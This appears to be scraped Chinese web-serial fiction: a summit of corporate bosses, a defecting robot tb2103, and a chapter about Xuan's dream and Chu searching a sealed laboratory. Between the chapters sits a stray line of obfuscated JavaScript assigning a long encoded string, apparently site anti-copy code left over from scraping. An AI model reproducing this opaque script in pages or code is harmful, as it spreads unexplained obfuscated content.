首脑通过意志将背后的悬浮着的十字架转移到了雅巴达之剑身后,雅巴达之剑见此没说什么,只是对着首脑点了点头。在GpAd安保部部长的带领下,首脑来到了会议室之中。所有奇点公司的老板都很诧异地看着首脑,他们完全没有想到首脑会来参加这场会议。每个人都想说些什么,但是他们出于各自的原因没有开口。首脑坐在了最中间的椅子上,他很淡定地看了看参会的十二个奇点公司的老板。每个奇点公司的老板的表情都很严肃,除了碧蓝苍穹以外,所有人之中,只有他保持着微笑。首脑打了个响指,接着每个奇点公司老板面前的桌子上都突然出现了一个杯子,杯子中是上等的苦味咖啡。这些杯子都是白色的,而且杯子上各自公司的图标。 见到这杯咖啡,这些奇点公司老板都没有动口。首脑见此没说什么,拿起咖啡杯就准备喝口咖啡。就在这时,碧蓝苍穹也跟着拿起了杯子,这一举动被首脑注意到了。在喝咖啡的时候,他发现自己的杯子的图标是黑色的。碧蓝苍穹偷偷看了看其他人的杯子,他发现A(阿里凯弥亚)公司老总和w(温切斯)公司老总杯子上图标的颜色与自己一样是黑色。他还发现,首脑、Lhcm(龙辉神匠)公司老总和LG(百灵草)公司老总杯子上的图案是红色,而其他公司老总的杯子的图案这都是蓝色的。这一发现让碧蓝苍穹明白些什么,他用不变的笑容掩盖了自己的发现。 在会议上,各大奇点公司的老总表现得格外团结,他们之间的各种矛盾好似从未出现过一样。会议上的每个人都十分紧张,这种紧张不是来自于首脑,而是来自他们自己的内心。很快,所有人达成一致意见,决定每个公司都花重金来平复这起事件,并且每个公司都负责一个部分。在会议上,首脑提出了高墙隔离区计划,决定制造一栋环形高墙隔绝寄生虫感染区。 这个计划没人反对,所有人都赞成。在会议后,首脑紧急拨用了大量商会资金,并雇佣了大量建筑队前往目标地点进行高墙的建筑。十二个奇点公司也拨用了自己公司的大量资金,他们购买了大量的建筑材料,有的公司甚至买下了整个矿区。为了抵御这本不属于这个世界的灾难,所有人都显得格外团结。这不仅仅是为了别人,也是为了自己公司以后的生计。做这一切本来是很光荣的,但是这些身价千万的奇点公司老总们却怎么也感受不到光荣,他们能感受更多的,是内心的恐惧与心虚。 几天后...... 胡普刚刚办理完出院手续,她拿着随身携带的小笔记本与一只中性笔回到了自己的岗位上。她在前些日子经历了记忆清除手术与心理恢复,现在的她,又找回了当初那个自己。可是每次她经历完这些,她就越发觉得自己越来越不像自己了。她感觉自己的存在正在渐渐消失,她能感觉有人在她的内心之中撕裂她,篡改她,甚至吞噬她。她坐在自己的位子上,稍稍梳理了一下自己的头发,整理了一下自己的领带,然后她满意地露出笑容,准备以最好的态度去对待身边的人。 胡普: “(开心)又是个元气满满的一天哦!今天我一定要以最佳的状态去对待每个人。我是最棒的!” 就在今天,作为右中指(殇王国国家政府人文部部长)的她遇到了一个十分奇怪的人。那时她正坐在办公椅上审批许多来自中央管理部的文件,突然有一个穿着高科技轻型装甲、面带面具、有着一头紫头发的人推门走了进来。他看了看屋内的正在工作的人,又看了看胡普。在这时,正在审批文件的胡普抬起头看了它一眼。胡普看到他的身后背着一把造型超前的枪,那把枪上的指示灯处于开启状态,这是个危险的信号。 但,胡普并没有先出手攻击这个人,她深吸了一口气,然后笑着问这个人: “你好呀,请问来这里有什么事啊?” 这个人听到胡普的话有些懵,他瞪大了眼睛,然后不安地看了看周围。它用手指指了指自己,它用行动在问胡普是否在与他说话。胡普见到它这番举动,忍不住笑了一下。 胡普: “(微笑)先生,我是在跟你说话。” 这个人听到胡普这么说点了点头,然后低着头思考着什么东西。见到这个人这样,胡普有些关心地问道: “先生,你怎么了?” 这个人猛地抬起头看着胡普,这一下给胡普吓了一跳。这个人看了看周围,然后有手比划着让胡普跟着他走。面对这个有武器的陌生人的邀请,胡普毅然决然地答应了,接着跟着这个人离开了自己的办公室。这个人领着胡普穿过走廊,来到了最近的杂物间前。在看到杂物间门上的锁后,这个人有些为难地用手挠了挠后脑勺,他有些不知如何是好了。 胡普: “(有些不安)先生,你带我来这里干什么?” 突然,它想到了解决办法。他将一股绿色的能量汇聚在左手上,然后他用力挠了下杂物间的大门,接着一把推开了杂物间的大门。 此刻,杂物间的大门后面是一个只有高档沙发和茶几的大房间。这个人用手示意胡普进去,胡普有些担心,但出于自己对这个人的信任,她还是进入了这个房间。 在胡普进入这个房间之后,这个人也很快进来了。它进来的时候顺手把门关上了,然后再次用它汇聚了能量的手挠了下门,确保不会有其他人进来。 这个人走到了胡普面前,然后他按了下额头上的按钮,接着他脸上的面具消失了。这时,胡普看清了他在面具之下的那张脸。他的面部是由淡灰色高级合金构成的,上面十分平滑,甚至可以清楚地反射的出胡普自己的样貌。他的双眼是发着蓝光的高级机械眼,看着像义体,可这双机械眼的精细程度远比这世间能制造出的最高级的义眼洞察者mK3还要精细几百倍。他的眼皮周围有发光的光线,满满的科技感。他的眼睛扫描了一下胡普,然后下载了胡普一族所说的语言。他试着模仿胡普的笑,但是他却怎么也模仿不出来,他不会笑。 tb2103: “(温柔的女声)你......” 胡普: “(惊讶)?!” tb2103: “(电子音)等等,调错了。” 他假装咳嗽了两声,然后重新调整了下自己的语言系统。 tb2103: “(低沉的男声)你好。我的归属编号是tb2103,你可以叫我tb。当然,如果你不怕认错的话.......咳咳,请问这位女士你叫什么名字?” 胡普: “(微笑)我叫胡普。我是殇王国的右中指,政府人文部的部长。请问先生您有什么事来找我呀?” tb2103: “(低沉的男声)啊?这......我醒来的时候看到了一扇门,我站起来推门进去就看到了你们。为了安全考虑,我找了个我认为战斗等级最低的人出来。那个人,也就是你,胡普女士。” 胡普: “(微笑)所以你让我来这里是为了......” tb2103: “(低沉的男声)为了找你出来问点我想知道的问题。我的记忆模块被人故意格式化了,我丢失了许多数据。现在的我,已经忘了回去的路。我看你跟我们的制造者一样,我想你一定知道我的家在哪里!” 胡普: “(愧疚)抱歉,tb,我并不知道你的家在哪里。我没见过你这样的人,更不知道你的存在。” tb2103: “(失落)哦,原来是这样。看来我跟大家彻底分开了......还有,胡普女士。我不是人,我只是一个高度仿真的欧米伽机器人。” 胡普: “(温柔地笑)tb,你要是没有地方去,你可以来我这里。要是可以的话,你可以把我这里当成你的家。” 听到这些话,tb低下了头思考了几秒,很开,他就做好了决定。他按住左太阳穴处的隐藏按钮,接着打开了自己的设置。 tb2103: “(电子音)试图链接总部......” 胡普: “(有些伤心)你要是不想来的话也不是不行......(微笑)去留都由你决定。没关系的。” tb2103: “(电子音)已切断与总部的一切链接......芯片冻结程序程序启动,密码设置完成。” tb2103按了下自己后脑勺处的隐藏按钮,接着把通讯芯片从自己的后脑勺处拔了出来。他看了看手中的芯片,然后他把芯片递给了胡普。tb2103明白,一旦他将芯片交给胡普,他再次出现在家人面前时他将面临被销毁的风险。但被现实所迫,他又不得不那么做。胡普看了看这个芯片,又看了看tb2103坚定的眼神,她似乎明白了tb2103的用意。胡普接过了芯片。 tb2103: “(严肃)胡普女士,这个芯片是我总部通讯用的,请你好好保管。如果不是必要情况,请不要使用它。更不要试着读取内部的信息!如果你这么做了,其他的机器人就会找到你,然后杀了你!请你为了自己的安全,不要这么做,好吗?” 胡普: “(点点头)好。” 说完,胡普就把这个芯片放到了自己的口袋里。 tb2103: “(放松)胡普小姐。麻烦你给我安排一份工作吧,让我这个机械脑袋有点事干。” 胡普: “(微笑)好啊。那你以后就当我们人文部的保安吧,正好我,我们人文部还缺一个保安。” tb2103: “(严肃)胡普女士,你能答应我一件事吗?” 胡普: “(好奇)什么事?” tb2103: “(严肃)请你告诉所有人我是个普普通通的机器人,系统设置上绝对忠诚与这个国家。” 胡普: “(微笑)我答应你。(好奇)tb,话说你的身份就只是个机器人而已吗?” tb2103: “(放松)当然不是。我是一个富有智慧与情感的机器人,也是一个有灵魂的机器人。最主要的是,我是个战斗机器人。但我不爱厮杀,我只喜欢画画与了解新事物。” 胡普: “(微笑)战斗机器人?那可太好了,我们人文部的战斗力终于可以提升一些了!好耶!” tb2103: “(疑惑)好耶?这有什么值得庆祝的,我的战斗力很一般的。” 胡普: “(微笑)一般也很不错了。大家都是平凡人,实力一般也挺好的。” tb2103: “(放松)你是对的。平凡人总喜欢跟平凡人在一起,因为大家都很平凡,没有歧视与差异。” 胡普: “(微笑)那么以后就加油吧!tb。(突然意识到了什么)哦,对了。我还得给你弄一份入职申请呢!我们得赶紧回去了。” tb2103: “(严肃)没问题,我现在就把你送回去。” 与此同时...... 在一个未知实验室之中,几个tb机器人正在向它们的创造者发送tb2103失联的消息。在消息传到那人手里的时候,那人反常地笑了笑。 ???: “(笑)很好,我们安插的眼线竟然‘背叛’了我。哈哈哈哈,真是天真啊。他可能不知道,他自己本身一直就是一个信号发射源。他的所见所闻,都在我的眼里。” 那人叫来了一个信息型tb机器人来到了他的身边,他对那个tb机器人吩咐道: “联系那些仿生人AI,让他们时刻注意这城市各大势力的一举一动,有任何风吹草动都要汇报给实验室。” tb2102: “(尊敬)遵命,铸世者大人。” 在tb机器人走后,那人打开了全息地图,好好打量了一下现在的世界。西边是无尽的黑暗与未知,只有东边是岛屿、国家与人烟。那人打开了剧本系统,查看了一下现在的世界状况。 整个世界处于时间旋涡的中心,各大循环的副作用即将全部位临这个世界。周围的时空形成了黑域,黑域笼罩了整个恒星系,黑域内的一切都按照同方向不同轨迹的方式运作着。扭曲现象正在加剧,时间对扭曲的影响越来越严重,前一百次循环中幸存的人正在以扭曲生物的形式出现。 银河联邦尚未发来任何探测器与消息,这里十分的安全。 始源计划激活完成,进度已达到0.3%。 第一百零一号光之种子正在萌发,预计将在一年之内来到此处。 位于月球背面的设施即将完工。 看到这些消息,那人不禁嘴角上扬,露出了得意笑容。他的计划很快就可以实现,他心心念念许久的她,很快就可以回到他的身边。剧本之末,就是他的成功。 ???: “(笑)很快,我的计划就可以实现了!很快,前往新世界的大门将向我敞开,我将带着她回来!我将向抛弃我的人证明,我是最伟大的!希塔罗斯,看好吧!” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第一话:更多的疑问 通历43年7月8日晚上,在太玄国的皇宫之中,一切都显得格外寂静。夜里工作的人还在工作,该休息的人正在休息。天空中的繁星正在闪烁,金黄的圆月高高地挂在天上,看起来一切都是那么的祥和。 这时,轩正躺在床上睡觉,她正做着一个怪异的梦。 在梦中,轩此刻站在一座宫殿的正中心,她环视了一圈眼前的宫殿,她从来没有见过眼前的宫殿,但她心里隐隐地觉得自己很熟悉这里。她在宫殿内走了一圈,她发现宫殿内只有她一个人,宫殿内本该侍候的守卫与大臣都消失了。她挠了挠自己的头,她对眼前的景象表示很不解。 轩: “(疑惑)奇怪?这里为何空无一人?” 走着走着,她就走到了宫殿的正门处。她推开大门,走了出去。来到外面后,外面的景象震撼到了轩。 万里云霄,如海一般广阔。向上看,天中赫然有着一轮金黄的圆月,寥廓之间,群星密布,宛如浩渺银河。辉煌殿堂,屹立于云霄之间,大殿之前。大殿之侧,天照浮光,依云似绸,漫布天河百丈绸。殿堂之上,文有八字,龙蟠圣殿,太古圣地。 看着眼前的奇景,轩不禁感慨万千。她从未见过此等美景,对于她来说,眼前的奇景宛如仙境。 轩: “(惊讶)这里是仙境吗?好美啊,我这是在做梦吗?” 带着好奇心,轩向着面前不远处的殿堂走去。当她走到殿堂的门口的时候,两个手持战戟的士兵拦住了她。这两个士兵身形魁梧,身高比轩高出了半个身子。他们手中的战戟上有着独特的银辉,这种银辉之中仿佛蕴含着岁月的气息,他们仿佛是太古时期的战士。 恒古士兵: “(严肃)抱歉,你不可以进去。” 轩抬头看了看这些士兵的脸,她此刻发现这些士兵的面孔很像是太玄国历史书中的恒古国士兵。 轩: “(好奇)为什么不让我通过?还有,你们是那里人?为什么我从未见过你们。” 恒古士兵: “(严肃)抱歉,我们不能告诉你。这是殿下规定的。” 突然,这两个士兵低头看了看轩。他们皱了皱眉,又相互对视了一眼,他们似乎看出了什么异样。他们思考了一会,他们似乎明白了什么。他们突然对着轩单膝跪地,然后给轩让出了道路。 恒古士兵: “(恭敬)恭迎殿下归来!殿下,请您原谅我们之前的无礼。” 轩: “(疑惑)殿......殿下?怎么回事?我只是一个普通士兵,怎能是尊贵的殿下呢?” 恒古士兵: “(恭敬)殿下,看来您忘记了您尊贵的身份。——请您走进圣殿,我们最尊敬的朋友会为你解开一切疑惑。” 听到这两个士兵这么说,轩带着好奇心走进了圣殿之中。刚走进圣殿,一股强大的力量促使轩停了下来。轩试着继续往里走,但无边无际的黑暗拦住了她的去路。每走一步,轩都感觉艰苦无比。突然间,一股极其强大的力量从上面压了下来,这股力量将轩压倒在了地面上。轩被压得动弹不得,她抬头向上看去,她什么也没看到,那股力量仿佛是无形的。就在这时,远处的黑暗之中出现了一双发着金光的眼睛。轩看向那双眼睛,她发现那双眼睛正在凝视着自己。突然,从那双眼睛的方向传来了有着怪异声音的低语。 ????: “(严肃)继承者,时候未到,你无从直面我。到恰时恰日,吾便可与你相见。祝好运,吾之子孙。” 轩想开口问那个声音一些问题,但在这声低语结束后,轩眼前一黑,然后便失去了意识。 当轩的眼前再次出现画面的时候,轩在一个白色的巨型宫殿之中。轩看了看周围,她发现周围的天空中充斥着一团团紫黑色的雾气,同时在这座宫殿的上方还有着一个巨大的半透明紫色穹顶护盾,这个护盾之上有着许多发着紫光的古代文字。轩很疑惑,她不明白自己怎么就突然来到了这个地方。 轩: “(疑惑)奇怪?我刚刚不是在那个圣殿里面吗?我怎么又跑到这里来了?” 就在轩疑惑的时候,一个身穿黑色礼服的黑发女人突然出现在了轩的面前。她手拿一本黑皮金边的书,这本书的封面是一只睁开的全知之眼。她面带微笑,似乎她对这种情况见怪不怪。见到这个女人,轩十分警惕,她的手放到了腰间的剑上,随时准备应对接下来可能发生的任何情况。 轩: “(警惕)你是谁?报上名来!” 安吉拉: “(拍拍手)我的孩子,你终于来了。(微笑)我叫安吉拉,是你唯一可以信任的朋友。” 轩: “(疑惑)你这话是什么意思?” 安吉拉: “(微笑)哦?你不知道吗?你现在可是我的新孩子了,一个独一无二的新孩子。” 轩: “(疑惑)什么?你好好给我解释一下!到底怎么回事。” 安吉拉: “(微笑)你知道天灾吗?孩子。” 轩: “(点头)知道。四个臭名昭着的混蛋。” 安吉拉: “(微笑)而你就是我的第五个孩子。” 听到这话,轩立刻明白了她的意思,轩立即拔出了腰间的剑,然后用剑抵住她的下巴。安吉拉没有一点反抗,她用很淡定的目光看着轩,似乎她早已料到会这样。 轩: “(愤怒)该死的!你知不知道你们害死了多少人!你们这群不可救药的混蛋!去死吧!” 说完,轩一剑砍下了安吉拉的头。安吉拉的头掉落在了地上,但她的身体并未如轩预料的那样倒下,反而还站在原地。见此,轩整个人都愣住了,她的眼神之中满是惊讶与不解。轩汇聚核心能量,然后对着安吉拉的身体连续砍了几剑,试着把安吉拉杀死。但是在这几剑之后,安吉拉的身体仍然笔直地站在轩的面前。见到这个场景,轩后退了几步,准备汇聚核心能量来消灭安吉拉。但就在这时,安吉拉的周围突然出现了许多黑色的羽毛,这些黑色羽毛在安吉拉周围形成了一层由羽毛构成的黑色保护罩。在几秒之后,这些羽毛散去,安吉拉以完好无损的姿态从中出现。 轩: “(震惊)不可能!为什么这样你还没死?!即使是天灾,只要肉身坏灭,就会死亡!” 安吉拉: “(淡定)孩子,你太天真了。光凭你的力量,是无法与我这个母神对抗的。我是创造天灾的人!我自然会比天灾要强。” 轩: “(严肃)那样又如何!今天,即便你是神,我也要杀!” 说完,轩汇聚核心能量准备激活自己的能力来跟面前的安吉拉决一死战。但就在这时,轩体内的核心能量突然一股极其强大的能量被抑制住了,轩试着与之抵抗,但她的力量在这股力量面前微不足道,很快她的核心就被这股能量给锁住了。轩的全身在颤抖,她体内的能量在飞速消失。然后轩一个重心不稳跪倒在了地上,她大口喘着粗气,她感觉自己快要窒息了。安吉拉见此露出了阴森的笑容,然后走到了轩面前低下身子冲着她笑了笑。 安吉拉: “(微笑)孩子,不要抵抗了。加入我们吧,我们会给你一切你想要的,我们会让你每天都生活在快乐与幸福之中的。加入我们,你能成为这个世界上的至尊,每个人见了你都要给你行礼,就连那些高傲的管理员一样。到那时候,你想要什么就是一句话的事了。” 面对这等诱惑,轩低下头苦笑了几下,然后抬起头瞪着安吉拉,她的眼神十分犀利,其中之中蕴含着无尽的愤怒。 轩: “(咬牙切齿)你想让我成为祸害众生的天灾?呵......呵呵呵......做梦去吧!你们这群连畜生都不如的家伙!(往安吉拉脸上吐口水)呸!你们这群漠视生命的家伙就该被人民的怒火烧死,被一把又一把刀锋砍死!我与你们不共戴天!” 安吉拉用手擦了擦脸上的口水,她的表情瞬间变得严肃。她瞪了轩一眼,她的眼神之中有着怒火,但她并没有把怒火对着轩释放出来,反而继续用微笑面对轩。对于她来说,这点侮辱对接下来的交易来说算不了什么。 安吉拉: “(微笑)轩,即使这样的你,在我的影响面前也无济于事。毕竟,其他的四个天灾生前也是像你这样的坚毅啊!哈哈哈哈......” 说完,安吉拉站起身来对着轩摆了摆手,然后转身离开。轩死死地瞪着安吉拉,她恨不得现在就冲上去把安吉拉给千刀万剐了。 轩: “(咬牙切齿)别跑!给我回来!我要杀了你这个混蛋!” 就在这时,轩的脚下出现了紫色的法阵,见到这个法阵,轩感觉到了不妙。她试着挪动自己的身体,但她的身体此刻仿佛僵住了一样,无论她怎么做,她都无法挪动一步。 六根紫色的锁链从紫色的法阵之中向上伸出,其中五根锁链牢牢地锁住了她的身体,而那最后一根锁链牢牢锁住了她的灵魂。她此刻仿佛是一位犯了重罪的罪人,正在等待审判的降临。她努力挣扎,试图挣脱锁链,但无济于事,这些锁链一点事都没有。就在这时,拴住她灵魂的锁链渐渐变黑,接着其他的锁链也开始变黑。在拴住她灵魂的锁链完全变成黑色后,一股强大的能量涌入了她的体内。 这股能量开始侵蚀轩的意识,试图完全改变轩的性格。轩用自己坚强的意志抵抗着这股能量的侵蚀,她坚信自己能够战胜这股能量。起初轩坚强的意志还能遏制这股能量的扩散,但后来她坚毅的意志开始涣散,最后她坚强的意志被这股能量给瓦解掉了。这股能量趁机加速扩散,加速侵蚀轩的内心。即使这样,轩最后的意志还在抵抗这股能量,她不想成为自己最讨厌的存在,她不想伤害自己一直所守护的一切。轩的精神渐渐变得不稳定,她的视线变得越来越模糊,她感觉自己的存在正在慢慢被抹除。 就在这时,一阵温暖的风吹过她的身旁,周围的空气之中充满了十分强大的能量。恍惚间,轩似乎再次听到了那声低语。 ????: “区区安吉拉,休得放肆!有我在,你别想做什么伤害她的事!” 突然,轩身上的锁链被一把锋利的战戟给全部斩断了。那个身影的速度极快,在轩还未反应出来的时候就切断了这些锁链。在锁链被切断后,轩感觉重新获得了力量。她抬起头看向那个身影。在看到那个身影的样子后,轩的眼角流出了泪水。那个身影不是别人,正是已逝去的墨子邵。那个身影转身看了看轩,然后对着轩伸出了手。见到已逝去的挚友,轩很是激动。 轩: “(激动)是你吗?是你吗墨子邵。” 那个身影没有回答,只是淡定地说了一句: “抓住我的手,我拉你起来。” 轩点了点头,然后拉着那个身影的手站了起来。看着眼前的墨子邵,轩既感动又欣喜,她不知这时说些什么好了。 轩: “(感动)墨子邵,我就知道!你福大命大,你绝不会死在天堂岛的!大家都误会,其实你还活得好好的!” 那个身影没有说话,只是静静地看着轩。 轩: “(感动)都说墨子邵死了,死了的。实际上你不还活得好好的吗?你说对吧?墨子邵。” 眨眼之间,她眼前的身影消失了。 轩: “(不安)墨子......邵?” 她不安地看了看周围,她发现周围除了自己以外空无一人。 轩: “(微笑)别藏了!墨子邵,我知道你就藏在周围。出来吧,别躲着了。” 回应她的只有周围的寂静。 轩: “(难过)也许是我自己骗自己吧......墨子邵......已经死了。” 想到此处,轩的眼角不禁留下了两行泪水。 轩: “(流着泪)墨子邵......多希望你还能陪在我身边啊。” 突然,轩从梦中惊醒。她看了看周围,发觉刚刚的一切都只是场梦。她长舒了一口气,感叹道: “原来只是场梦啊......” 这时,她突然发现自己的脸上有着泪水,她的枕头也已经被泪水浸湿了大片。她擦了擦脸上的泪水,然后她下床拉开了卧室的窗帘。皎洁的月光照进了她的房间,照在了她那张有着泪痕的脸上。她看向窗外的夜空,天空中的繁星正在闪烁,仿佛繁星能看透轩的心思。今晚的夜空格外美丽,美丽得令人陶醉。轩的心中有着对他的无尽思念,即便她深知他已经战死在了异乡,但她对他的思念一直都没有淡过。 她幻想过,墨子邵能以各种方式回到这里,回到自己的身旁。她想那时的她一定会很感动,一定会很激动,她或许会在那个时候哭得像个未见过世面的小姑娘,从而丢几分颜面。她绝不会为了那点失去的面子而感到丢人,反而会感到快乐与欣慰。 她看着天空中那轮金黄的圆月,顷刻间回想起了自己过去与墨子邵的回忆。从儿时第一次相见,到一起成为了保家卫国的战士,再到与他一同与扭曲生物与感染者的一次次战斗。虽然那些回忆之中带有些苦楚,虽然回忆之中的墨子邵一直未能理解她的好意,但她依旧视那些回忆为珍宝。 想着想着,她的眼角又流出了两行泪水。这些回忆一遍遍地刺痛着她的内心,但又一遍遍地让她感受到了回忆之中的美好。她擦了擦眼角的泪水,伸出手看了看手腕上新装备的龙印。看着这龙印,她又重新感觉到了墨子邵那时所带给她的美好。他的那种包容与善良,她今生无法忘怀。 看着这金黄的月亮,轩很深情地说道: “看着今宵的圆月,我回想起了我们的过去。前些日子你战死在了异乡,成了一位伟大的英雄。我很后悔那时相信了你的谎言,我后悔没能在你走之前与你吻别。若还能有机会,我必定会同你一起去执行这使命。月亮啊!星星啊!这美丽的夜空啊!唯有你们才懂得我心中的思念啊。” 轩就这样看着月亮与星空看了很久,直到太阳的光辉出现在了地平线处,轩才躺下继续睡觉。 与此同时...... 楚在炼金师的实验室遗址之中拿着生命体探测器寻找着这里所幸存的最后一个生命。楚手中的生命体探测仪显示最后一个信号就在实验室的深处,也就是此时楚面前那扇被钢筋混凝土死死封住的大门的后面。 楚: “就是这里了。” 楚拿出了自己从实验室后勤部拿来的纳米切割枪,这把枪被他给进行了改良,射程有了显着的提升,既可以当做工具,又可以当做武器。楚花了一个多小时将这扇大门前面由钢筋混凝土制成的障碍物给清理干净了,接着尝试打开这扇大门,但是这扇大门被锁死了,而且还没有钥匙。于是楚用切割枪在这扇大门上切开了一个巨大的窟窿,以此来让自己进入门后的房间。刚完成切割,楚就听到了门后走廊里回荡的呻吟声。 楚: “(疑惑)奇怪,那个生命体竟然在哭?她难道是人类吗?或者说,她是个人工智能?” 楚穿过这个窟窿来到了大门之后的区域。刚进入这个区域,广播就对楚发出了警告。 广播: “警告,检测到有入侵者未经授权访问0号区域。自动防御系统将在十秒后启动,请入侵者自觉离开0号区域。” 听到广播这么说,楚丝毫没有慌张,反而大摇大摆地向着0号区域的深处走去。因为他知道之前紫渊试图挣脱束缚的一系列动作已经毁坏掉了实验室内部所有的防御系统,包括0号区域的防御系统,他早在进入该区域前就通过实验室的总控室查询到了这一点。果真如他想的那样,在十秒后自动防御系统并未启动。 广播: “警告,自动防御系统失效!该区域面临alpha级病毒泄露的风险,请区域内的主管在三十分钟内处理此风险。若四十分钟后仍未有人处理此风险,该设施将启动内部核反应堆的自爆程序。” 听到病毒泄露和自爆程序这两个敏感字眼,楚感觉了压力。毕竟他知道之前的潘多拉的病毒能够感染核心佩戴者,他不确定这个区域内是否存在潘多拉病毒,更不确定那最后一个幸存者是否就是潘多拉病毒的感染者。他要想好好探索这个区域,他必须弄到自爆程序的控制权,否则他将葬身于这里。说干就干,楚立即在这个区域进行搜索。在长达半个多小时的寻找后,楚找到了该区域内的核反应堆。 此时距离爆炸仅有五分钟,这时的楚已经紧张到了极点,接下来他的操作必须百分百成功,一旦有任何失误,他都将葬身在这里。楚熟练地找到控制台,然后熟练地插入了自己制作的黑客黑客破解装置。此刻,他的额头上流下了几滴汗水,他十分紧张,很怕自己会出现失误。在深吸了一口气之后,楚按照脑中的流程进行防火墙的破解。在时间只剩下最后三十秒的时候破解了实验室0号区域本地系统的防火墙,成功弄到了核反应堆的控制权。在只剩下五秒的时候,楚关掉了核反应堆的自爆程序,并让核反应堆进入待机状态。同时,他将核反应堆的控制权转移到了一个遥控器上,方便随时控制核反应堆的开关。不得不说,楚的确是个天才。 楚: “(看着手中的遥控器)好险,差点命就没了。好了,这样,我就能好好探索这个所谓的0号区域了。” 楚将遥控器放到了腰间的炼金师挎包之中,然后他拔出了腰间的磁轨手枪,随时准备应对接下来可能发生的战斗。0号区域内的走廊里回荡着奇怪的滴滴声,这滴滴声有规律,听上去感觉像是心电图的滴滴声。听着这有规律的滴滴声,楚心里有些发慌。随着楚的深入,0号区域内隐藏的秘密逐渐被楚所发现。 楚来到了0号区域的资料室。他翻找了一下资料室里的资料,他发现这里的储存的所有资料跟外面的资料一模一样,从文字的清晰度来看,仿佛外面的资料是复印出来的。就在楚翻找一些对实验有帮助的资料时,楚意外发现了一本本不属于这里的书。他拿起这本书仔细看了看它的封面,这本书的封面上有着一朵水仙花。楚翻开书,翻到这本书第一页,只见这本书的第一页上用红字赫然写着“0号机密资料”六个大字。看到这六个大字,楚的好奇心一下子就上来了。他的直觉告诉他,这本书里面藏着真相,藏着能够推翻之前一切推论的真相。带着这个想法,楚翻开了这本书。 书中: 这疫病本不属于这个世界,但他却把疫病带给了这个世界。我本想向世人诉说真相,但他的力量使我惧怕,使我不敢开口说出真相。我不想让我的家人与朋友圈进这场由我惹出的乱子之中,我想让他们好好地活着,即便他们生活在谎言之中。我不想再伤害任何一个人了。 我的好友紫渊在我与他沟通的时候意外知道了真相,这样就导致了他的愤怒。他为了防止紫渊将事情的真相告知世人从而影响他的计划,他对我下达了四个狠毒的命令。 第一,我伪造许多份资料来误导世人,并且将罪责大部分都推脱到紫渊身上,以此来让紫渊的形象彻底变成一个制造疫病的魔鬼,从而让紫渊成为众矢之的,让紫渊彻底丧失一切可信度。 第二,他让我将他给予我的未知生物储存单元内的微生物放入名为紫渊的物质之中,接着再往紫渊的物质之中加入之前提取的仇恨物质,从而制造出一瓶威力巨大的生化武器。 第三,以做实验为由让紫渊喝下配置好的紫渊。如果紫渊拒绝,必须想办法让她服下配置好的紫渊。然后,开几枪杀死她,最后将她的尸体扔到处理池之中,让她体内的物质好好发酵。 第四,带走一切实验成果,接着封闭这所机构,让她被永远地囚禁在这里,直到她彻底死亡。 我不想执行这些命令,但他用他的力量以及我家人与朋友的性命安危来强迫我执行。迫于无奈,我只能执行这些命令。虽然心有不甘,但我还是全部做了出来,让我这位好友成了这世界上最大的罪人。 当你看到这些的内容的时候,我也许已经命丧黄泉许久了。 事实上,我在他的注意力转移到其他人身上的那半个小时之中亲自来到了处理池之中捞出了紫渊的遗体,并将她的大脑以做实验的名义提取了出来。那时她的大脑竟然还保持活性,而且她还有知觉。我清晰地记得,当她躺在手术台上的时候,我看到她的眼角流出了两滴泪水。为了保存真相以便后人发觉,我将她的大脑泡在了充满生命精华的冬眠仓之中。我跟上帝打了个赌,我赌生命精华能够还原她的身体。 我不知道我赌赢了还是赌输了,但我知道她一定不会死亡的,生命精华的力量能够让她的大脑存活上百年之久。 如果你能看到这些,请你前往零号收容室,也就是冬眠区之中的d-23房间之中找到她,并将她带走。她脑中的资料与事实真相能够及时挽救这个世界。如果可以,请看到这份资料的你告诉她: 炼金师大哥对不起你。抱歉,紫渊。 0号机密资料让楚大开眼界,他一度以为事情的真相已经够魔幻了,但这里隐藏的资料所揭示的真相比之前的还要魔幻。 楚: “(惊讶)果真就如那位名人说的那样,现实远比书上写得要更加魔幻啊。谁能想到真相是这样的呢?就连坚信真理至上的我都被欺骗了,更何况那些平凡人呢?” 楚合上书,他找了个带子将这本书绑好,接着将这本书背在背上准备带回观星台进行更细致的研究。他离开资料室,继续向着0号区域的深处前进。在摸索了一会之后,楚终于来到了冬眠区之中。在刚刚探索的过程中,楚一直能听到走廊内回荡的呻吟声,而且他离冬眠区越近,那呻吟声就越大。那呻吟声很是凄惨,很是痛苦,仿佛呻吟的人遭受了无尽的痛苦。 楚: “(严肃)就是这里了。(看了看手中的生命体探测仪)最后的生命体信号就在这里。” 按照资料中的指示,楚来到零号收容室内。刚进入这里,楚敏锐的眼光就捕捉到了收容室内的不对劲。本来应该干净平整的地板在这间房间里变得七扭八歪,而且上面布满裂痕,看上去仿佛经历了什么灾难。楚拿出磁轨手枪,很警惕地在收容室内小心走动。他犀利的眼神捕捉着房间内每一处细节,随时准备应对突发情况。楚小心翼翼地走到了d-23冬眠仓的前面,他心怀戒备地看了看周围,确保周围安全。之后,他缓缓打开了冬眠仓的盖子。在看到冬眠仓内部的景象后,楚瞬间瞪大了眼睛。他发现冬眠仓内什么都没有,冬眠仓的底板被什么东西撕开了一个大口子。 楚: “(疑惑)发生什么事了?人呢?” 楚有些纳闷,他有些想不通。就在这时,地面突然剧烈颤抖。楚察觉不妙,想快步逃离这片区域。但没等他开跑,这片区域的地面就突然塌陷了。然后楚掉进了下面的空间之中。所幸楚会点功夫,他一个标准的下砸落地,减少了摔落会对他造成的伤害。 楚: “(有些紧张)好险,差点就双腿不保了。” 楚站起身来看了看周围,他发现这片区域内很黑,黑暗之中只有几盏发着微光的应急灯。楚看了看头顶,他发现洞口距离自己的头顶大约有五米,他推测自己很肯能是在实验室的下层区域之中。洞口上的灯一闪一闪的,灯光比较昏暗,看着有种恐怖的氛围。 楚: “(苦恼)看来不好离开这里了。” 